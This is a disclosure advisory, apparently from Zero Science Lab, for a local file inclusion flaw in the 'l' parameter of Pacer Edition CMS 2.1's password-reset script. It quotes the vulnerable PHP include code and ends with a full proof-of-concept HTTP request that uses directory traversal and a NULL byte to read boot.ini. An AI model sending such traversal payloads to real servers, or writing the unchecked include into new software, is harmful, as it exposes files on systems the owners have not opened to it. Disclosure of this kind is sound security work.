Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability

                                                Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability

Vendor: The Pacer Edition
Product web page: http://www.thepaceredition.com
Affected version: RC 2.1 (SVN: 867)

Summary: The 'Pacer Edition' is a Content Management System(CMS)
written using PHP 5.2.9 as a minimum requirement. The Pacer Edition
CMS was based from Website baker core and has been completely
redesigned with a whole new look and feel along with many new
advanced features to allow you to build sites exactly how you want
and make them, 100% yours!

Desc: Pacer Edition CMS suffers from a local file inlcusion
vulnerability when input passed thru the 'l' parameter to
admin/login/forgot/index.php script is not properly verified
before being used to include files. This can be exploited to
include files from local resources with directory traversal
attacks and URL encoded NULL bytes.


/admin/login/forgot/index.php (line: 59-62):
----------------------------------------------------------------

$lang_id = ((isset($_GET['l'])) ? $_GET['l'] : '');
if ($lang_id == '') $lang_id = (LANGUAGE) ? LANGUAGE : (DEFAULT_LANGUAGE) ? DEFAULT_LANGUAGE : 'EN';
if (!file_exists(PE_PATH.'/languages/'.$lang_id.'.php')) $lang_id = 'EN'; 
require (PE_PATH.'/languages/'.$lang_id.'.php');

----------------------------------------------------------------


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab


Advisory ID: ZSL-2011-5019
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5019.php



07.06.2011


PoC:

----------------------------------------------------------------

POST /admin/login/forgot/index.php?l=..%2f..%2f..%2f..%2f..%2fboot.ini%00 HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: thricer
Content-Length: 2
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------x
Content-Disposition: form-data; name="email"

sm
------x--

----------------------------------------------------------------